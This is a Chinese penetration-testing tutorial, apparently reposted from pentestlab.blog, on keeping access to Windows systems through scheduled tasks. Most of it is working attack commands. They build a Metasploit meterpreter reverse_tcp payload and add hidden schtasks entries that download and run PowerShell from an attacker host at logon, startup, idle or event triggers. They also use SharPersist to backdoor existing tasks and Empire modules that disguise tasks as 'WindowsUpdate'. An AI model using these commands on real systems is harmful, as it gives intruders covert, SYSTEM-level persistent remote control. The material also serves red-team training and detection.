前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用计划任务维持系统权限

利用计划任务维持系统权限

作者头像
信安之路
发布2021-05-27 15:08:02
1.1K0
发布2021-05-27 15:08:02
举报
文章被收录于专栏:信安之路信安之路

在 Windows 系统上,可以使用计划任务来定时执行某些操作,方便用户对系统的使用和管理,红队成员也可以利用这个特性来对系统进行持久化的控制。

创建计划任务可以本地或者远程操作,也可以作为远程执行命令的一种方式,老版本的 Windows 系统可以用 at 命令创建,新系统内逐渐替换为 schtask 命令。

首先使用 Metasplit 的 web_delivery 模块生成一个有效 payload:

代码语言:javascript
复制
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
set target 5
exploit

在 cmd 下执行 schtask 来创建计划任务,在用户登录系统时,执行生成好的 Powershell 的 padyload:

schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System

当用户登录时,payload 执行后,meterpreter 得到一个会话:

也可以在空闲时间进行执行,命令如下:

#(X64) - On System Start schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System #(X64) - On User Idle (30mins) schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30 #(X86) - On User Login schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System #(X86) - On System Start schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System #(X86) - On User Idle (30mins) schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

除了可以定时执行外,还可以设置过期时间和自我删除功能:

schtasks /CREATE /TN "Windows Update" /TR "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /SC minute /MO 1 /ED 04/11/2019 /ET 06:53 /Z /IT /RU %USERNAME%

如果目标系统启用了事件日志记录,可以选择在特定的事件上触发任务,可以使用 wevtutil 查询事件 ID:

wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=4647)]]

然后创建一个调度任务,当关联的事件 ID 出现时,触发任务执行:

schtasks /Create /TN OnLogOff /TR C:\tmp\pentestlab.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"

使用 Query 参数可以查看创建的任务计划:

schtasks /Query /tn OnLogOff /fo List /v

当管理员登出系统时,触发任务执行:

也可以使用 Powershell 来创建计划任务:

代码语言:javascript
复制
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"
$T = New-ScheduledTaskTrigger -AtLogOn -User "pentestlab"
$S = New-ScheduledTaskSettingsSet
$P = New-ScheduledTaskPrincipal "Pentestlab"
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask Pentestlab -InputObjec $D
 
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask PentestLaboratories -InputObject $D

SharPersist

这是个二进制文件,需要管理员权限运行,下载地址:

https://github.com/fireeye/SharPersist

使用下面的命令在管理员登录的时候执行 payload:

SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m add -o logon

在目标系统重启之后执行 payload,获得会话:

SharPersist 还可以列出指定的计划任务来获得相关信息:

SharPersist -t schtask -m list -n "PentestLab"

或者列出全部的计划任务信息:

SharPersist -t schtask -m list

SharPersist 也可以检查任务是否执行成功的功能:

SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check

列出登录时执行的所有计划任务,可以用于排查恶意软件添加的计划任务:

SharPersist -t schtaskbackdoor -m list -o logon

使用 schtaskbackdoor 和 check 功能结合,可以识别指定的计划任务是否为后门:

SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check

使用 add 参数可以执行恶意命令的现有计划任务:

SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "ReconcileLanguageResources" -m add

Empire

使用下面的命令创建每天凌晨 03:22 执行基于 PowerShell 的 payload,任务名称为 "WindowsUpdate" 用来迷惑用户:

usemodule persistence/userland/schtasks set Listener http set TaskName WindowsUpdate set DailyTime 03:22 execute

Payload 会以 base64 编码的格式保存在注册表中,还有个模块可以在用户登录期间执行 Payload:

usemodule persistence/elevated/schtasks* set Listener http

参考

https://attack.mitre.org/techniques/T1053/

https://github.com/fireeye/SharPersist

https://www.fireeye.com/blog/threat-research/2019/09/sharpersist-windows-persistence-toolkit.html

https://powersploit.readthedocs.io/en/latest/Persistence/New-UserPersistenceOption/

https://docs.microsoft.com/en-us/windows/win32/taskschd/schtasks?redirectedfrom=MSDN

文章来源:

https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-04-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SharPersist
  • Empire
  • 参考
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档